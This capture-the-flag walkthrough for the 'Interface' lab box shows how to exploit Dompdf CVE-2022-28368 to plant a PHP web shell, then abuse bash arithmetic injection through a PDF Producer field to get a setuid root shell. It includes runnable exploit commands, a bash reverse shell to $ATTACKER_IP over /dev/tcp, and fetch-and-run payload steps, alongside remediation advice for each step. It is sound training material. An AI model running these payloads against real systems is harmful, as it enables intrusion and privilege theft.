← all walkthroughs

Interface

Linux· Medium
owned
2026-10-09
time to own
17m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a hidden virtual host, prd.m.rendering-api.interface.htb, named in the Content-Security-Policy header of the target's nginx site. It fronted an HTML-to-PDF API (/api/html2pdf) built on a vulnerable Dompdf release. Using CVE-2022-28368, a stylesheet with a remote @font-face made Dompdf download my font with PHP appended and store it in its web-reachable font cache under a predictable name, which gave command execution as www-data and the user flag in /home/dev.

For root, I found /usr/local/sbin/cleancache.sh, a root cleanup script that reads each /tmp file's PDF Producer with exiftool and compares it using bash's arithmetic -eq. A PDF whose Producer held an array-subscript command substitution made root run a script that copied bash to /tmp with the setuid bit, and that copy returned the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HEX_ID="<a-value-you-captured-earlier>"

Attack path — how the box was taken

1ReconnaissancePort scanning and virtual-host discovery from response headers (T1595)
Scanned the host and found an API virtual host in the site's CSP header
A TCP scan showed only SSH (22) and nginx (80). The front page's Content-Security-Policy header listed connect-src 'self' http://prd.m.rendering-api.interface.htb, naming a backend host the browser was allowed to call. Sending requests with that Host header reached a separate application: GET /api/html2pdf returned a JSON 'route not defined' error, an empty POST returned 422 'missing parameters', and a POST with an 'html' field returned an application/pdf export.
Open ports 22 and 80 (nginx 1.14.0); CSP connect-src http://prd.m.rendering-api.interface.htb; POST {"html":"ptest"} returned 200 Content-Type: application/pdf, filename=export.pdf.
Exact commands 5
shell

Only 22/tcp and 80/tcp answered.

$ nmap -Pn -sT -T4 --max-retries 1 --host-timeout 90s -p21,22,23,25,53,80,88,110,111,135,139,143,389,443,445,465,587,636,993,995,1433,2049,2375,3000,3306,3389,5432,5601,5900,5985,5986,6274,6379,8000,8001,8008,8080,8081,8088,8443,8888,9000,9200,10000,11211,27017,50000 $TARGET
shell

Read the response headers; the CSP connect-src names prd.m.rendering-api.interface.htb.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - http://$TARGET/
shell

Returns {"status":"404","status_text":"route not defined"}: a JSON API lives on this vhost.

$ curl -ksS --max-time 15 -D - 'http://prd.m.rendering-api.interface.htb/api/html2pdf' -H 'Host: prd.m.rendering-api.interface.htb' --resolve prd.m.rendering-api.interface.htb:80:$TARGET
shell

422 {"status_text":"missing parameters"}: the route exists and wants a body.

$ curl -ksS --max-time 15 -X POST -D - "http://$TARGET/api/html2pdf" -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' -d '{}'
shell

200 with Content-Type: application/pdf; the 'html' field is rendered into a PDF.

$ curl -v --max-time 10 -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"ptest"}'
FixDo not expose the internal rendering API on the public web serverMedium
WeaknessThe public site's Content-Security-Policy advertised an internal rendering API host, and that API was reachable from the internet through the same nginx server without authentication.
FixServe internal APIs only on private interfaces or require authentication at the proxy, and keep internal hostnames out of public response headers where the browser does not need them.
2Initial AccessDompdf remote font cache write leading to RCE (CVE-2022-28368, T1190)
Planted a PHP-bearing font in Dompdf's font cache (CVE-2022-28368)
The rendering API turned an 'html' field into a PDF, and the vhost answered a request for /vendor/dompdf/ with PHP-FPM's bare 'File not found.' rather than nginx's own 404 page, so a PHP renderer under /vendor/dompdf was the working guess. Searchsploit matched Exploit-DB 51270, a Dompdf 1.2.1 RCE (CVE-2022-28368): Dompdf before 1.2.1 fetches remote @font-face fonts when it renders an external stylesheet and caches each one in vendor/dompdf/dompdf/lib/fonts/ as <family>_<style>_<md5 of the font URL>.<extension>, keeping the URL's extension. A small helper took the minimal TrueType font embedded in 51270.py, appended <?php system($_GET["c"]); ?>, and wrote it out as exploit_font.php. A stylesheet declared font-family 'exploitfont' with its src pointing at that file on my HTTP server, so the cached name was known in advance: exploitfont_normal_ plus the MD5 of the font URL. Posting HTML that linked the stylesheet made the server fetch both files and write the font into the web root, which the later web-shell request under /vendor/dompdf confirmed.
/vendor/dompdf/ returned 'File not found.'; the render with the stylesheet returned a 2133-byte PDF instead of the 1132-byte baseline.
Exact commands 9
shell

Lists 'Dompdf 1.2.1 - Remote Code Execution (RCE)', php/webapps/51270.py.

$ searchsploit dompdf && searchsploit -w CVE-2022-28368
shell

The stylesheet the target will fetch. Work from one directory: the HTTP server below shares it.

$ cat > exploit.css <<EOF
@font-face {
  font-family:'exploitfont';
  src:url("http://$ATTACKER_IP:18081/exploit_font.php");
  font-weight:'normal';
  font-style:'normal';
}
body { font-family:'exploitfont'; }
EOF
shell

Pulls the exploit_font blob out of 51270.py and appends the PHP payload.

$ cat > build_font.py <<'EOF'
import base64
import re
import sys
source = open(sys.argv[1], 'r', encoding='utf-8').read()
encoded = re.search(r'exploit_font = b"([A-Za-z0-9+/=]+)"', source).group(1)
raw = base64.b64decode(encoded)
raw += b'\n<?php system($_GET["c"]); ?>'
print(base64.b64encode(raw).decode('ascii'))
EOF
shell

Prints the font-plus-PHP payload as one base64 line; save that line as font.b64.

$ python3 build_font.py /usr/share/exploitdb/exploits/php/webapps/51270.py
shell

Write the font-plus-PHP payload.

$ base64 -d font.b64 > exploit_font.php
shell

Predicts the cache file name. Bind the printed digest to $HEX_ID; every web-shell URL below uses it.

$ printf %s http://$ATTACKER_IP:18081/exploit_font.php | md5sum
shell

Run in a second terminal from the same directory; it serves exploit.css, exploit_font.php and, later, base.pdf and privesc.sh.

$ python3 -m http.server 18081 --bind $ATTACKER_IP
shell

Check the server returns the stylesheet before sending the job.

$ curl -sS --max-time 5 http://$ATTACKER_IP:18081/exploit.css
shell

Dompdf fetches the stylesheet and font and caches the font as exploitfont_normal_$HEX_ID.php.

$ curl -sS --max-time 20 -o /dev/null -w 'status=%{http_code} bytes=%{size_download}\n' -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<link rel=\"stylesheet\" href=\"http://'"$ATTACKER_IP"':18081/exploit.css\"><p>ptest</p>"}'
FixPatch dompdf and disable remote resource loading in the PDF rendererCritical
WeaknessThe PDF service ran a Dompdf release vulnerable to CVE-2022-28368 with remote resources enabled, so a stylesheet could make it download a font and store it, PHP included, under a predictable name in the web root.
FixUpgrade Dompdf to 1.2.1 or later (preferably the current release), set isRemoteEnabled to false, and point the font cache at a directory outside the web root.
3FootholdWeb shell command execution (T1505.003)
Ran commands through the cached font file as www-data
Nginx passes any .php path to PHP, including files inside the vendor font cache. Requesting the cached font with a 'c' parameter returned the TrueType header bytes followed by the command output, confirming code execution as www-data. A bash reverse shell to a listener on $ATTACKER_IP:4444 gave an interactive session.
Uid=33(www-data) gid=33(www-data) groups=33(www-data)
Exact commands 2
shell

Output follows the binary font header.

$ curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=id" -H 'Host: prd.m.rendering-api.interface.htb'
shell

URL-encoded bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1', caught by a listener on port 4444.

$ curl -sS --max-time 600 -H 'Host: prd.m.rendering-api.interface.htb' "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$ATTACKER_IP%2F4444%200%3E%261%27"
FixPrevent execution of uploaded or cached files in web directoriesCritical
WeaknessThe web server executed .php files located in the library's font-cache directory, turning a file-write bug into a full web shell running as www-data.
FixDisable PHP execution in any directory that stores generated or cached data (for nginx, route only a known front controller to PHP-FPM and return 403 for other .php paths), move writable cache folders outside the web root, and run the web service with minimal filesystem write access.
4CollectionOver-permissive file access (T1083)
Read the user flag from /home/dev
From the www-data shell, a search of /home for readable user.txt files found /home/dev/user.txt, which the web account could read directly.
FLAG_PATH:/home/dev/user.txt followed by <user.txt>.
Exact commands 1
shell

Run in the reverse shell; prints the path and <user.txt>.

$ id; find /home -name user.txt -type f -readable -exec sh -c 'echo FLAG_PATH:$1; cat "$1"' sh {} \; 2>/dev/null
FixTighten file permissions on user home directoriesMedium
WeaknessThe web service account could read files in another user's home directory (/home/dev), exposing data that should have been private to that user.
FixSet home directories to mode 750 or 700 with correct ownership, and keep sensitive files out of paths readable by service accounts. Review group memberships of the web user.
5Privilege EscalationBash arithmetic-evaluation command injection in a privileged script (CWE-78)
Found a root cleanup script that evaluates PDF metadata in bash arithmetic
Listing the usual local-admin locations showed /usr/local/sbin/cleancache.sh, root-owned and not referenced from cron or systemd files the web user could read. The script loops over every file in /tmp, reads its PDF Producer with exiftool -s -s -s -Producer, keeps the first space-separated word, and tests it with [[ "$meta_producer" -eq "dompdf" ]] to delete Dompdf output. Because -eq is a numeric comparison, bash evaluates both operands as arithmetic expressions. Arithmetic evaluation expands array subscripts, so a Producer value of a[$(command)] runs the command as whoever runs the script. The first-word cut means the payload must contain no spaces, so ${IFS} stands in for them.
cleancache.sh: meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1); if [[ "$meta_producer" -eq "dompdf" ]]; then rm "$cfile"; owner root:root, mode 0755.
Exact commands 2
shell

Shows /usr/local/sbin/cleancache.sh.

$ curl -sS --max-time 15 --get "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php" -H 'Host: prd.m.rendering-api.interface.htb' --data-urlencode "c=ls -la /etc/cron.hourly /etc/cron.d /usr/local/sbin /opt 2>/dev/null; echo WRITABLE; find /etc/cron.hourly /etc/cron.d /usr/local/sbin /opt -writable -ls 2>/dev/null; echo PROCESSES; ps auxww"
shell

Read the script and its ownership.

$ curl -sS --max-time 15 --get "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php" -H 'Host: prd.m.rendering-api.interface.htb' --data-urlencode "c=cat /usr/local/sbin/cleancache.sh; echo REFERENCES; grep -R cleancache /etc/systemd /etc/cron* /var/spool/cron 2>/dev/null; echo STATUS; stat /usr/local/sbin/cleancache.sh"
FixNever feed untrusted data to bash arithmetic in privileged scriptsCritical
Weaknesscleancache.sh ran as root over an unauthorised user-writable /tmp and compared exiftool output with [[ ... -eq ... ]], which evaluates the value as an arithmetic expression and executes command substitutions in array subscripts.
FixUse string comparison ([[ "$meta_producer" == "dompdf" ]]) or a fixed allowlist, quote and validate all external data, run the cleanup as an unprivileged user, and restrict it to files owned by the rendering service.
6Privilege EscalationCommand injection through bash arithmetic in a root-run script (CWE-78 / T1053)
Poisoned a PDF's Producer field so the root cleanup script ran a payload
I rendered a normal PDF through the API (base.pdf) and wrote privesc.sh next to it. On the target the script downloads that PDF to /tmp/pwn.pdf, writes /tmp/x (copy /bin/bash to /tmp/rootbash, make it root-owned and setuid), and uses exiftool to set the PDF's Producer to a[$(/bin/bash${IFS}/tmp/x)]. The Dompdf font cache had been cleared by this point, so the stylesheet render was repeated to replant the web shell before fetching and running privesc.sh. About a minute later cleancache.sh processed /tmp/pwn.pdf as root: the [[ ... -eq ... ]] test evaluated the Producer as arithmetic, expanded the array subscript and ran /tmp/x as root, then deleted the PDF. /tmp/rootbash appeared root-owned with the setuid bit, and running it with -p, which stops bash dropping the effective UID, gave euid=0 and the root flag.
Producer=a[$(/bin/bash${IFS}/tmp/x)]; later -rwsr-xr-x 1 root root 1113504 /tmp/rootbash; uid=33(www-data) gid=33(www-data) euid=0(root) followed by <root.txt>.
Exact commands 6
shell

A genuine PDF to carry the poisoned metadata, saved in the directory the HTTP server shares.

$ curl -sS --max-time 20 -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<p>cache</p>"}' -o base.pdf
shell

Unquoted delimiter so $ATTACKER_IP expands; the escaped \$( and \${IFS} land in the file literally.

$ cat > privesc.sh <<PRIVESC
#!/bin/bash
curl -s http://$ATTACKER_IP:18081/base.pdf -o /tmp/pwn.pdf
cat > /tmp/x <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/x
/usr/bin/exiftool -overwrite_original -Producer='a[\\$(/bin/bash\\${IFS}/tmp/x)]' /tmp/pwn.pdf
printf 'producer='
/usr/bin/exiftool -s -s -s -Producer /tmp/pwn.pdf
ls -l /tmp/pwn.pdf /tmp/x /tmp/rootbash 2>/dev/null
PRIVESC
shell

Replant the font web shell after the cache was emptied.

$ curl -sS --max-time 20 -o /dev/null -w 'status=%{http_code} bytes=%{size_download}\n' -X POST http://$TARGET/api/html2pdf -H 'Host: prd.m.rendering-api.interface.htb' -H 'Content-Type: application/json' --data-binary '{"html":"<link rel=\"stylesheet\" href=\"http://'"$ATTACKER_IP"':18081/exploit.css\"><p>reseed</p>"}'
shell

Fetches and runs privesc.sh; the output shows producer=a[$(/bin/bash${IFS}/tmp/x)].

$ curl -sS --max-time 20 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=curl%20-s%20http%3A%2F%2F$ATTACKER_IP%3A18081%2Fprivesc.sh%20-o%20%2Ftmp%2Fprivesc.sh%3Bbash%20%2Ftmp%2Fprivesc.sh" -H 'Host: prd.m.rendering-api.interface.htb'
shell

pwn.pdf is gone and /tmp/rootbash is -rwsr-xr-x root root.

$ sleep 40; curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=ls%20-l%20%2Ftmp%2Frootbash%20%2Ftmp%2Fpwn.pdf%202%3E%261" -H 'Host: prd.m.rendering-api.interface.htb'
shell

/tmp/rootbash -p -c 'id;cat /root/root.txt' prints euid=0(root) and <root.txt>.

$ curl -sS --max-time 10 "http://$TARGET/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_$HEX_ID.php?c=%2Ftmp%2Frootbash%20-p%20-c%20%27id%3Bcat%20%2Froot%2Froot.txt%27" -H 'Host: prd.m.rendering-api.interface.htb'
FixPrevent SUID binaries in world-writable locationsHigh
WeaknessA root process could leave a SUID copy of bash in /tmp that any local user could run with -p.
FixMount /tmp with nosuid,nodev, and alert on new SUID/SGID files with file-integrity monitoring (find / -perm -4000 -type f baselines).

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp